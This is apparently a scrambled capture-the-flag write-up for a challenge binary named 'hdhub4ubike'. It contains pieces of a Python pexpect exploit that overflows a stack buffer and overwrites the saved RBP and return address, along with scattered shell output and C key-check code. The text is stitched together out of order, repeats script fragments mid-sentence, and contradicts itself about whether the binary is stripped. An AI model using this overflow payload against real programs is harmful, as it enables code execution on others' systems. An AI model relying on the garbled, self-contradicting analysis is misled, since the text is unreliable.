Hdhub4ubike May 2026

def main(): p = pexpect.spawn(BIN, encoding='utf-8') p.expect("Enter your hub key:") # build payload payload = b'A' * 64 # fill buffer payload += b'B' * 8 # overwrite saved RBP payload += struct.pack("<Q", TARGET_ADDR) # overwrite RIP

$ ./hdhub4ubike === Welcome to the HD Bike Hub === Enter your hub key: Static analysis quickly reveals that the binary is stripped (no symbols) and that it is compiled with , -z execstack , and -no-pie – classic “easy pwn” settings. hdhub4ubike

if __name__ == "__main__": main() Running the script prints the flag instantly: def main(): p = pexpect

puts(flag); return 0;

The goal is to obtain the flag without knowing the correct key. 2.1 File information $ file hdhub4ubike hdhub4ubike: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped, for GNU/Linux 3.2.0, BuildID[sha1]=... def main(): p = pexpect.spawn(BIN

/* ---------------------------------------------------- */ int check_key(const char *key) // key must be exactly 0x30 bytes long if (strlen(key) != 0x30) return 0;